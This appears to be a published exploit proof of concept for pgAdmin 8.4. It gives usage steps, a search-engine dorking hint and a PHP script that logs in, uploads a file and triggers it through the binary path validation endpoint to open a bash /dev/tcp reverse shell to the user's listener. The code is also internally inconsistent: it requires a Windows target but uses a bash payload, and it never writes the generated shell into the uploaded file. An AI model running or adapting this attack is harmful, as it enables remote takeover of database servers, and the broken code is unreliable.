=============================================================================================================================================
| # Title     : pgAdmin 8.4 PHP Code Execution Vulnerability                                                                                |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |
| # Vendor    : https://www.pgadmin.org/download/                                                                                           |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] pgAdmin versions 8.4 and earlier are affected by a remote reverse connection execution vulnerability via the binary path validation API. 
    This vulnerability allows an attacker to execute a reverse connection on the server hosting PGAdmin, posing a severe risk to the integrity 
	of the database management system and the security of the underlying data.
	
[+] Description:

    The generateReverseShell function: Generates a reverse connection payload that uses netcat (or equivalent) to open a reverse connection with your machine. You will need to replace "YOUR_IP" and "YOUR_PORT" with your machine's IP address and the port you are listening on.

    exec in PHP: Runs the command that opens a reverse connection using bash and executes it on the target.

[+] How to use it:

    Modify "YOUR_IP" and "YOUR_PORT" in the generateReverseShell function to match your machine.

    Verify that your machine is listening on the specified port using nc or a similar tool:

    nc -lvnp YOUR_PORT

[+] Run the code. If the exploit is successful, you will get a reverse connection to the target machine.

[+] Line : 156+157

        $ip = 'YOUR_IP'; // Replace with your machine's IP
        $port = 'YOUR_PORT'; // Replace with the port you want to use

[+] Line : 164+165+166

           $targetUrl = 'http://target-url.com'; // Replace this with the actual address
           $username = 'admin'; // Username (if required)
           $password = 'password'; // Password (if required)
		   
		   
[+] Save As poc.php

[+] usage : cmd=> php poc.php

[+] payload :

<?php

class PGAdminExploit {
    private $targetUrl;
    private $csrfToken;
    private $username;
    private $password;

    public function __construct($targetUrl, $username = '', $password = '') {
        $this->targetUrl = rtrim($targetUrl, '/');
        $this->username = $username;
        $this->password = $password;
    }

    public function exploit() {
        if ($this->authRequired() && (!$this->username || !$this->password)) {
            die("The application requires authentication, please provide valid credentials.\n");
        }

        if ($this->authRequired()) {
            $this->authenticate();
            echo "Successfully authenticated to pgAdmin\n";
        }

        if (!$this->onWindows()) {
            die("This exploit is specific to Windows targets!\n");
        }

        $fileName = 'reverse_shell.php';
        $this->fileManagerUploadAndTrigger($fileName, $this->generateReverseShell());
    }

    private function authRequired() {
        $res = $this->sendRequest('GET', $this->targetUrl . '/');
        return strpos($res, 'Location: login') !== false;
    }

    private function onWindows() {
        $res = $this->sendRequest('GET', $this->targetUrl . '/browser/js/utils.js');
        if ($res) {
            $platform = $this->getStringBetween($res, "pgAdmin['platform'] = '", "';");
            return $platform == 'win32';
        }
        return false;
    }

    private function authenticate() {
        $loginPage = $this->sendRequest('GET', $this->targetUrl . '/login');
        $this->setCsrfTokenFromLoginPage($loginPage);

        $res = $this->sendRequest('POST', $this->targetUrl . '/authenticate/login', [
            'csrf_token' => $this->csrfToken,
            'email' => $this->username,
            'password' => $this->password,
            'language' => 'en',
            'internal_button' => 'Login'
        ]);

        if (strpos($res, 'Location: login') !== false) {
            die("Failed to authenticate to pgAdmin\n");
        }
    }

    private function setCsrfTokenFromLoginPage($response) {
        if (preg_match('/csrfToken": "([\w+.-]+)"/', $response, $matches)) {
            $this->csrfToken = $matches[1];
        } elseif (preg_match('/<input.*?id="csrf_token".*?value="(.*?)"/', $response, $matches)) {
            $this->csrfToken = $matches[1];
        } else {
            die("Failed to obtain the CSRF token\n");
        }
    }

    private function fileManagerUploadAndTrigger($filePath, $fileContents) {
        list($transId, $homeFolder) = $this->fileManagerInit();

        $formData = [
            'newfile' => new CURLFile($filePath, 'application/octet-stream', $filePath),
            'mode' => 'add',
            'currentpath' => $homeFolder,
            'storage_folder' => 'my_storage'
        ];

        $res = $this->sendRequest('POST', $this->targetUrl . "/file_manager/filemanager/{$transId}/", $formData, true);

        if (strpos($res, '"success":1') === false) {
            die("Failed to upload file contents\n");
        }

        $uploadPath = $this->getStringBetween($res, '"Name":"', '"');
        echo "Payload uploaded to: {$uploadPath}\n";

        $this->sendRequest('POST', $this->targetUrl . '/misc/validate_binary_path', json_encode([
            'utility_path' => substr($uploadPath, 0, -15)
        ]), true);
    }

    private function fileManagerInit() {
        $res = $this->sendRequest('POST', $this->targetUrl . '/file_manager/init', json_encode([
            'dialog_type' => 'storage_dialog',
            'supported_types' => ['sql', 'csv', 'json', '*'],
            'dialog_title' => 'Storage Manager'
        ]));

        $transId = $this->getStringBetween($res, '"transId":"', '"');
        $homeFolder = $this->getStringBetween($res, '"homedir":"', '"');

        if (!$transId || !$homeFolder) {
            die("Failed to initialize a file manager transaction Id or home folder\n");
        }

        return [$transId, $homeFolder];
    }

    private function sendRequest($method, $url, $data = [], $multipart = false) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

        if ($method == 'POST') {
            curl_setopt($ch, CURLOPT_POST, true);
            if ($multipart) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            } else {
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
            }
        }

        if ($this->csrfToken) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, [
                "X-pgA-CSRFToken: {$this->csrfToken}"
            ]);
        }

        $response = curl_exec($ch);
        if (curl_errno($ch)) {
            die("cURL Error: " . curl_error($ch) . "\n");
        }

        curl_close($ch);
        return $response;
    }

    private function getStringBetween($string, $start, $end) {
        $string = ' ' . $string;
        $ini = strpos($string, $start);
        if ($ini == 0) return '';
        $ini += strlen($start);
        $len = strpos($string, $end, $ini) - $ini;
        return substr($string, $ini, $len);
    }

    private function generateReverseShell() {
        // حمولة الاتصال العكسي باستخدام Netcat
        $ip = 'YOUR_IP'; // استبدل بـ IP الخاص بجهازك
        $port = 'YOUR_PORT'; // استبدل بالمنفذ الذي تريد استخدامه
        $shell = "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/$ip/$port 0>&1'\"); ?>";
        return $shell;
    }
}

// مثال على الاستخدام
$targetUrl = 'http://target-url.com'; // استبدل هذا بالعنوان الحقيقي
$username = 'admin'; // اسم المستخدم (إذا كان مطلوبًا)
$password = 'password'; // كلمة المرور (إذا كانت مطلوبة)

$exploit = new PGAdminExploit($targetUrl, $username, $password);
$exploit->exploit();

?>

Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================